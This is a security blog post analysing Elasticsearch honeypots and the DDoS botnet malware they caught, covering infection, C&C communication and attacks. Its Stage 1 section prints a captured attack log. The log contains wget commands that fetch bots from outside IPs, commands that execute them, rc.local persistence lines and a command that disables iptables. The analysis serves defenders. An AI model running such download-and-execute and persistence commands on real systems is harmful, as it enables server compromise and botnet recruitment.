With the rise of inexpensive Virtual Servers and popular services that install insecurely by default, coupled with some juicy vulnerabilities, like CVE-2015-5377 andCVE-2015-1427, this year will be an interesting one for Elasticsearch. Elasticsearch provides plenty of targets for people to exploit and create server-based botnets but in fairness it is not only Elasticsearch that suffers from critical vulnerabilities there is also ShellShock, mongodb-exploits and very recently a bug that hit WebSphere, JBoss, Jenkins and OpenNMS.
This blog post analyzes what happens if you run a vulnerable service that is connected to the internet resulting in your server becoming a compliant member of a botnet.
With our analysis we concentrate on how the infection happens, what the bots are doing and whom they communicate with, but not the code itself. For a nice read on dissecting Linux-based malware we’d suggest you read the articles from @MalwareMustDie.
Over a period of 3-months we collected more than 30 different bots, giving us enough interesting stuff to play with and analyze.
Exploits against ElasticZombie – Honeypots, 30 days
Setup
This past summer we rolled out some honeypots, designed to simulate Elasticsearch installations that are vulnerable to the latest RCE vulnerabilities, which enabled us to track and record each phase of an exploit and catch the malware to analyze what it does when executed.
The Honeypots themselves consisted of a real Elasticsearch server, and we used nginx and lua to detect and record the exploits in GET or POST requests. This allowed us to correlate and track activities, as well as bad actors across all of our honeypots. In the next blog post, we will provide details of the botnet-infrastructure.
Within 3-4 days after setup, the first scanners hit some Shodan-scanners and vuln-crawlers from organizations and universities, but also from IPs with no PRT.. A few days after setup we saw the first exploit attempts that allowed ups to fine-tune our setup.
Categorizing the Bots
The Bots we collected were ELF-executables, mostly 32-bit-binaries that wouldn’t run on a pure x64-server, but also some 64bit-versions, in opposite the perl-bots Conor Patrick caught this also with a ShellShock-Honeypot some weeks ago.
Half of the 30+ bots we collected didn’t run; the remaining 15 bots could be classified into 2 different categories:
- fBots: Fire & Forget – DDoS-Bots (most of them) that just execute without further installation
- iBots: more sophisticated bots who install themselves in /etc or /var that can download more modules/bots and delete the original file
The fBots are well known and nothing new and are sometimes referred to as BillGates/BillGates.lite:
xwdl/xoxo – VT – 26 / 57
udp/syn2500 VT – 27 / 56
ssss/508 VT – 12 / 56
iBots, also referred to as IptabLex/IptabLes, have been around for quite some time and were wellanalyzed in May 2014 and again in June 2015 by MalwareMustDie.
yf2: VT – 21 / 56
-rwxr-x--- 1 bware bware 1315556 Nov 22 11:13 68089
-rwxr-x--- 1 bware bware 1312420 Nov 23 08:43 508
-rwxr-x--- 1 bware bware 1312292 Aug 13 02:36 ssss
-rwxr-x--- 1 bware bware 1223123 Nov 22 11:35 04
-rwxr-x--- 1 bware bware 1223123 Sep 15 08:02 syn25000
-rwxr-x--- 1 bware bware 1223123 Sep 17 13:09 udp
-rwxr-x--- 1 bware bware 1223123 Dez 2 2014 vpcinull
-rwxr-x--- 1 bware bware 1128800 Nov 20 13:58 xdg1
-rwxr-x--- 1 bware bware 1128800 Okt 6 13:33 xdwl
-rwxr-x--- 1 bware bware 1128800 Dez 13 2013 xoxo
-rwxr-x--- 1 bware bware 841596 Nov 24 08:10 libvent
-rwxr-x--- 1 bware bware 727556 Okt 7 08:24 yf2
-rwxr-x--- 1 bware bware 87600 Nov 23 17:56 TcT
What we observed among all the bots is that their DNS names for C&C-servers, ports and fallbacks were obfuscated and are not available in plaintext when extracting the strings from the executables. Interestingly, Akamai released an analysis on XORDDoS-Botnets, performing DDoS-attacks, and it could be the case that the bots we collected are hiding such interesting information, but we did not analyze the code of the bots further, so we cannot say for sure.
Stage 1: Scan & Exploit!
Coming from stage 0 (scans that are merely just GET / – requests) there is a simple way for an attacker to land an exploit: just three requests and you are owned.
The following shows one attack, stripped down to the commands executed (you’ll find a full exploit in the Appendix below):
-- download the bots
00:46:39 [alert] request: wget -O /tmp/yf1 https://114.215.149.148/yf1
00:46:40 [alert] request: wget -O /tmp/yf2 https://114.215.149.148/yf2
-- hours later ... executing the bot
05:03:21 [alert] request: chmod 777 /tmp/*
05:03:22 [alert] request: chmod 777 /tmp/yf2 &
05:03:22 [alert] request: chmod 777 /tmp/yf1 &
05:03:23 [alert] request: /tmp/yf2 &
05:03:23 [alert] request: nohup /tmp/yf2 > /dev/null 2>&1
05:03:24 [alert] request: /tmp/yf1 &
05:03:24 [alert] request: nohup /tmp/yf1 > /dev/null 2>&1
-- making changes persistent to start the bot upon next
-- reboot and shutdown the firewall
05:03:25 [alert] request: echo \"cd /tmp/\">>/etc/rc.local
05:03:25 [alert] request: echo \"/tmp/yf2\">>/etc/rc.local
05:03:26 [alert] request: echo \"/etc/init.d/iptables stop\">>/etc/rc.local
05:03:26 [alert] request: echo \"/tmp/yf1\">>/etc/rc.local
05:03:27 [alert] request: echo \"/etc/init.d/iptables stop\">>/etc/rc.local
At this point if you had a vulnerable ElasticSearch instance running you’d be considered hacked, and if you ran it as Root the infection would be persistent and survive a reboot.
Stage 2 : Calling Home
After execution, the bots request the IP of their current C&C master. Most bots we’ve seen are using a DNS-name to get the IP, while we also observed some bots using included IPs, especially when no DNS-servers could be reached.
Bot communication – getting the IP of the current C&C
After getting the current IP, some traffic from the bot could be observed, including an identifier and some information about the system the bot runs on, reporting “On duty, Sire!”
— some identifiers, send by bots to their masters
-==Healer==- Linux 3.16.0-0.bpo.4-amd64 2.40
-==ruirui ==- Linux 3.16.0-0.bpo.4-amd64 2.40
Linux 3.16.0-0.bpo.4-amd64 root 4*2494MHZ 3688MB 0M 172.17.0.104
Bot-Communication, reporting into the botnet
After reporting itself “ready” the bots pings the master every 5 seconds, waiting for commands and targets to attack, while transmitting its own status every 30 seconds.
Bot-Communication, keep-alive-pings and status-reports
One variant (ssss) of those fBots occasionally requested and downloaded a file (amp.dat) from the server it initially got the bot from (https://111.74.239.61:8080/ntp.txt ); the latest version of this file consited of 14000+ IPs; it might be a list of servers that might be misused for amplification/reflection-attacks. We’re not yet done checking all the IPs, but will deliver this analysis later in a a future blog post.
Stage 3: Attack!
When the C&C master promotes a new target, it’s sent over to the client with a single package and the show begins:
Bot-Communication, getting target-IP and attack-start
What we’ve seen among all fBots: once the boss receives a target-IP it immediately fires just traffic (SYN-flood) onto a given port, either HTTP, MYSQL or otherrandom ports. The bots fire on max-speed, so any traffic originating from an infected server should easily be detected if the dc-operator enforces thresholds or monitors outgoing traffic. You definitely will see spikes.
Some notes on infection-workflow and botnet-infrastructure
A closer look on the operation of the whole botnet-infrastructure revealed an interesting workflow that functions as follows:
- Scanners crawl the internet, searching for vulnerable Elasticsearch-installations; once they find one they start to execute an exploit
- The exploit downloads a bot from different server that hosts various bots and files
- After download, the scanning-server executes the bot on vulnerable installations
- If the bot runs, it requests the IP for the C&C-master or uses a hardcoded IP and reports itself as ready, waiting for commands
- Upon receiving the attack-command and the IP of a target, the attacks start
Thus we see a distributed infrastructure, controlled by the botmasters to create and operate botnets.
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.
